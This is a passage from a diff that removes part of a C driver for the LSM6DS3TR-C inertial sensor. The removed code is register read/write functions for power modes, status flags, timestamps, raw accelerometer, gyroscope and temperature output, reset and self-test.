ret; -} - -/** - * @brief High-performance operating mode for accelerometer.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of xl_hm_mode in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_power_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_xl_hm_mode_t* val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - switch(ctrl6_c.xl_hm_mode) { - case LSM6DS3TR_C_XL_HIGH_PERFORMANCE: - *val = LSM6DS3TR_C_XL_HIGH_PERFORMANCE; - break; - - case LSM6DS3TR_C_XL_NORMAL: - *val = LSM6DS3TR_C_XL_NORMAL; - break; - - default: - *val = LSM6DS3TR_C_XL_PW_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Source register rounding function on WAKE_UP_SRC (1Bh), - * TAP_SRC (1Ch), D6D_SRC (1Dh), STATUS_REG (1Eh) and - * FUNC_SRC1 (53h) registers in the primary interface.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of rounding_status in reg CTRL7_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_rounding_on_status_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_status_t val) { - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - if(ret == 0) { - ctrl7_g.rounding_status = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - } - - return ret; -} - -/** - * @brief Source register rounding function on WAKE_UP_SRC (1Bh), - * TAP_SRC (1Ch), D6D_SRC (1Dh), STATUS_REG (1Eh) and - * FUNC_SRC1 (53h) registers in the primary interface.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of rounding_status in reg CTRL7_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_rounding_on_status_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_status_t* val) { - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - switch(ctrl7_g.rounding_status) { - case LSM6DS3TR_C_STAT_RND_DISABLE: - *val = LSM6DS3TR_C_STAT_RND_DISABLE; - break; - - case LSM6DS3TR_C_STAT_RND_ENABLE: - *val = LSM6DS3TR_C_STAT_RND_ENABLE; - break; - - default: - *val = LSM6DS3TR_C_STAT_RND_ND; - break; - } - - return ret; -} - -/** - * @brief High-performance operating mode disable for gyroscope.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of g_hm_mode in reg CTRL7_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_power_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_g_hm_mode_t val) { - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - if(ret == 0) { - ctrl7_g.g_hm_mode = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - } - - return ret; -} - -/** - * @brief High-performance operating mode disable for gyroscope.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of g_hm_mode in reg CTRL7_G - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_power_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_g_hm_mode_t* val) { - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - switch(ctrl7_g.g_hm_mode) { - case LSM6DS3TR_C_GY_HIGH_PERFORMANCE: - *val = LSM6DS3TR_C_GY_HIGH_PERFORMANCE; - break; - - case LSM6DS3TR_C_GY_NORMAL: - *val = LSM6DS3TR_C_GY_NORMAL; - break; - - default: - *val = LSM6DS3TR_C_GY_PW_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Read all the interrupt/status flag of the device.[get] - * - * @param ctx Read / write interface definitions - * @param val WAKE_UP_SRC, TAP_SRC, D6D_SRC, STATUS_REG, - * FUNC_SRC1, FUNC_SRC2, WRIST_TILT_IA, A_WRIST_TILT_Mask - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_all_sources_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_all_sources_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_SRC, (uint8_t*)&(val->wake_up_src), 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_SRC, (uint8_t*)&(val->tap_src), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_D6D_SRC, (uint8_t*)&(val->d6d_src), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STATUS_REG, (uint8_t*)&(val->status_reg), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FUNC_SRC1, (uint8_t*)&(val->func_src1), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FUNC_SRC2, (uint8_t*)&(val->func_src2), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_WRIST_TILT_IA, (uint8_t*)&(val->wrist_tilt_ia), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_B); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_A_WRIST_TILT_MASK, (uint8_t*)&(val->a_wrist_tilt_mask), 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - - return ret; -} -/** - * @brief The STATUS_REG register is read by the primary interface[get] - * - * @param ctx Read / write interface definitions - * @param val Registers STATUS_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_status_reg_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_status_reg_t* val) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STATUS_REG, (uint8_t*)val, 1); - - return ret; -} - -/** - * @brief Accelerometer new data available.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of xlda in reg STATUS_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_status_reg_t status_reg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STATUS_REG, (uint8_t*)&status_reg, 1); - *val = status_reg.xlda; - - return ret; -} - -/** - * @brief Gyroscope new data available.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of gda in reg STATUS_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_status_reg_t status_reg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STATUS_REG, (uint8_t*)&status_reg, 1); - *val = status_reg.gda; - - return ret; -} - -/** - * @brief Temperature new data available.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of tda in reg STATUS_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_temp_flag_data_ready_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_status_reg_t status_reg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_STATUS_REG, (uint8_t*)&status_reg, 1); - *val = status_reg.tda; - - return ret; -} - -/** - * @brief Accelerometer axis user offset correction expressed in two’s - * complement, weight depends on USR_OFF_W in CTRL6_C. - * The value must be in the range [-127 127].[set] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that contains data to write - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_usr_offset_set(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_X_OFS_USR, buff, 3); - - return ret; -} - -/** - * @brief Accelerometer axis user offset correction xpressed in two’s - * complement, weight depends on USR_OFF_W in CTRL6_C. - * The value must be in the range [-127 127].[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_usr_offset_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_X_OFS_USR, buff, 3); - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Timestamp - * @brief This section groups all the functions that manage the - * timestamp generation. - * @{ - * - */ - -/** - * @brief Enable timestamp count. The count is saved in TIMESTAMP0_REG (40h), - * TIMESTAMP1_REG (41h) and TIMESTAMP2_REG (42h).[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of timer_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_timestamp_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.timer_en = val; - - if(val != 0x00U) { - ctrl10_c.func_en = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - } - - return ret; -} - -/** - * @brief Enable timestamp count. The count is saved in TIMESTAMP0_REG (40h), - * TIMESTAMP1_REG (41h) and TIMESTAMP2_REG (42h).[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of timer_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_timestamp_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.timer_en; - - return ret; -} - -/** - * @brief Timestamp register resolution setting. - * Configuration of this bit affects - * TIMESTAMP0_REG(40h), TIMESTAMP1_REG(41h), - * TIMESTAMP2_REG(42h), STEP_TIMESTAMP_L(49h), - * STEP_TIMESTAMP_H(4Ah) and - * STEP_COUNT_DELTA(15h) registers.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of timer_hr in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_timestamp_res_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_timer_hr_t val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - if(ret == 0) { - wake_up_dur.timer_hr = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - } - - return ret; -} - -/** - * @brief Timestamp register resolution setting. - * Configuration of this bit affects - * TIMESTAMP0_REG(40h), TIMESTAMP1_REG(41h), - * TIMESTAMP2_REG(42h), STEP_TIMESTAMP_L(49h), - * STEP_TIMESTAMP_H(4Ah) and - * STEP_COUNT_DELTA(15h) registers.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of timer_hr in reg WAKE_UP_DUR - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_timestamp_res_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_timer_hr_t* val) { - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WAKE_UP_DUR, (uint8_t*)&wake_up_dur, 1); - - switch(wake_up_dur.timer_hr) { - case LSM6DS3TR_C_LSB_6ms4: - *val = LSM6DS3TR_C_LSB_6ms4; - break; - - case LSM6DS3TR_C_LSB_25us: - *val = LSM6DS3TR_C_LSB_25us; - break; - - default: - *val = LSM6DS3TR_C_TS_RES_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Dataoutput - * @brief This section groups all the data output functions. - * @{ - * - */ - -/** - * @brief Circular burst-mode (rounding) read from output registers - * through the primary interface.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of rounding in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_rounding_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_t val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - if(ret == 0) { - ctrl5_c.rounding = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - } - - return ret; -} - -/** - * @brief Circular burst-mode (rounding) read from output registers - * through the primary interface.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of rounding in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_rounding_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_rounding_t* val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - switch(ctrl5_c.rounding) { - case LSM6DS3TR_C_ROUND_DISABLE: - *val = LSM6DS3TR_C_ROUND_DISABLE; - break; - - case LSM6DS3TR_C_ROUND_XL: - *val = LSM6DS3TR_C_ROUND_XL; - break; - - case LSM6DS3TR_C_ROUND_GY: - *val = LSM6DS3TR_C_ROUND_GY; - break; - - case LSM6DS3TR_C_ROUND_GY_XL: - *val = LSM6DS3TR_C_ROUND_GY_XL; - break; - - case LSM6DS3TR_C_ROUND_SH1_TO_SH6: - *val = LSM6DS3TR_C_ROUND_SH1_TO_SH6; - break; - - case LSM6DS3TR_C_ROUND_XL_SH1_TO_SH6: - *val = LSM6DS3TR_C_ROUND_XL_SH1_TO_SH6; - break; - - case LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH12: - *val = LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH12; - break; - - case LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH6: - *val = LSM6DS3TR_C_ROUND_GY_XL_SH1_TO_SH6; - break; - - default: - *val = LSM6DS3TR_C_ROUND_OUT_ND; - break; - } - - return ret; -} - -/** - * @brief Temperature data output register (r). L and H registers together - * express a 16-bit word in two’s complement.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_temperature_raw_get(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[2]; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_OUT_TEMP_L, buff, 2); - *val = (int16_t)buff[1]; - *val = (*val * 256) + (int16_t)buff[0]; - - return ret; -} - -/** - * @brief Angular rate sensor. The value is expressed as a 16-bit word in - * two’s complement.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_angular_rate_raw_get(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[6]; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_OUTX_L_G, buff, 6); - val[0] = (int16_t)buff[1]; - val[0] = (val[0] * 256) + (int16_t)buff[0]; - val[1] = (int16_t)buff[3]; - val[1] = (val[1] * 256) + (int16_t)buff[2]; - val[2] = (int16_t)buff[5]; - val[2] = (val[2] * 256) + (int16_t)buff[4]; - - return ret; -} - -/** - * @brief Linear acceleration output register. The value is expressed - * as a 16-bit word in two’s complement.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_acceleration_raw_get(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[6]; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_OUTX_L_XL, buff, 6); - val[0] = (int16_t)buff[1]; - val[0] = (val[0] * 256) + (int16_t)buff[0]; - val[1] = (int16_t)buff[3]; - val[1] = (val[1] * 256) + (int16_t)buff[2]; - val[2] = (int16_t)buff[5]; - val[2] = (val[2] * 256) + (int16_t)buff[4]; - - return ret; -} - -/** - * @brief External magnetometer raw data.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mag_calibrated_raw_get(stmdev_ctx_t* ctx, int16_t* val) { - uint8_t buff[6]; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_OUT_MAG_RAW_X_L, buff, 6); - val[0] = (int16_t)buff[1]; - val[0] = (val[0] * 256) + (int16_t)buff[0]; - val[1] = (int16_t)buff[3]; - val[1] = (val[1] * 256) + (int16_t)buff[2]; - val[2] = (int16_t)buff[5]; - val[2] = (val[2] * 256) + (int16_t)buff[4]; - - return ret; -} - -/** - * @brief Read data in FIFO.[get] - * - * @param ctx Read / write interface definitions - * @param buffer Data buffer to store FIFO data. - * @param len Number of data to read from FIFO. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_raw_data_get(stmdev_ctx_t* ctx, uint8_t* buffer, uint8_t len) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_DATA_OUT_L, buffer, len); - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_common - * @brief This section groups common useful functions. - * @{ - * - */ - -/** - * @brief Enable access to the embedded functions/sensor hub - * configuration registers[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of func_cfg_en in reg FUNC_CFG_ACCESS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mem_bank_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_func_cfg_en_t val) { - lsm6ds3tr_c_func_cfg_access_t func_cfg_access; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FUNC_CFG_ACCESS, (uint8_t*)&func_cfg_access, 1); - - if(ret == 0) { - func_cfg_access.func_cfg_en = (uint8_t)val; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FUNC_CFG_ACCESS, (uint8_t*)&func_cfg_access, 1); - } - - return ret; -} - -/** - * @brief Enable access to the embedded functions/sensor hub configuration - * registers[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of func_cfg_en in reg FUNC_CFG_ACCESS - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_mem_bank_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_func_cfg_en_t* val) { - lsm6ds3tr_c_func_cfg_access_t func_cfg_access; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FUNC_CFG_ACCESS, (uint8_t*)&func_cfg_access, 1); - - switch(func_cfg_access.func_cfg_en) { - case LSM6DS3TR_C_USER_BANK: - *val = LSM6DS3TR_C_USER_BANK; - break; - - case LSM6DS3TR_C_BANK_B: - *val = LSM6DS3TR_C_BANK_B; - break; - - default: - *val = LSM6DS3TR_C_BANK_ND; - break; - } - - return ret; -} - -/** - * @brief Data-ready pulsed / letched mode[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of drdy_pulsed in reg DRDY_PULSE_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_data_ready_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_drdy_pulsed_g_t val) { - lsm6ds3tr_c_drdy_pulse_cfg_g_t drdy_pulse_cfg_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - - if(ret == 0) { - drdy_pulse_cfg_g.drdy_pulsed = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - } - - return ret; -} - -/** - * @brief Data-ready pulsed / letched mode[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of drdy_pulsed in reg DRDY_PULSE_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_data_ready_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_drdy_pulsed_g_t* val) { - lsm6ds3tr_c_drdy_pulse_cfg_g_t drdy_pulse_cfg_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_DRDY_PULSE_CFG_G, (uint8_t*)&drdy_pulse_cfg_g, 1); - - switch(drdy_pulse_cfg_g.drdy_pulsed) { - case LSM6DS3TR_C_DRDY_LATCHED: - *val = LSM6DS3TR_C_DRDY_LATCHED; - break; - - case LSM6DS3TR_C_DRDY_PULSED: - *val = LSM6DS3TR_C_DRDY_PULSED; - break; - - default: - *val = LSM6DS3TR_C_DRDY_ND; - break; - } - - return ret; -} - -/** - * @brief DeviceWhoamI.[get] - * - * @param ctx Read / write interface definitions - * @param buff Buffer that stores data read - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_device_id_get(stmdev_ctx_t* ctx, uint8_t* buff) { - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_WHO_AM_I, buff, 1); - - return ret; -} - -/** - * @brief Software reset. Restore the default values in user registers[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sw_reset in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_reset_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.sw_reset = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Software reset. Restore the default values in user registers[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sw_reset in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_reset_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - *val = ctrl3_c.sw_reset; - - return ret; -} - -/** - * @brief Big/Little Endian Data selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ble in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_data_format_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_ble_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.ble = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Big/Little Endian Data selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of ble in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_data_format_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_ble_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - switch(ctrl3_c.ble) { - case LSM6DS3TR_C_LSB_AT_LOW_ADD: - *val = LSM6DS3TR_C_LSB_AT_LOW_ADD; - break; - - case LSM6DS3TR_C_MSB_AT_LOW_ADD: - *val = LSM6DS3TR_C_MSB_AT_LOW_ADD; - break; - - default: - *val = LSM6DS3TR_C_DATA_FMT_ND; - break; - } - - return ret; -} - -/** - * @brief Register address automatically incremented during a multiple byte - * access with a serial interface.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of if_inc in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_auto_increment_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.if_inc = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Register address automatically incremented during a multiple byte - * access with a serial interface.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of if_inc in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_auto_increment_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - *val = ctrl3_c.if_inc; - - return ret; -} - -/** - * @brief Reboot memory content. Reload the calibration parameters.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of boot in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_boot_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.boot = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief Reboot memory content. Reload the calibration parameters.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of boot in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_boot_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - *val = ctrl3_c.boot; - - return ret; -} - -/** - * @brief Linear acceleration sensor self-test enable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of st_xl in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_self_test_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_xl_t val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - if(ret == 0) { - ctrl5_c.st_xl = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - } - - return ret; -} - -/** - * @brief Linear acceleration sensor self-test enable.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of st_xl in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). 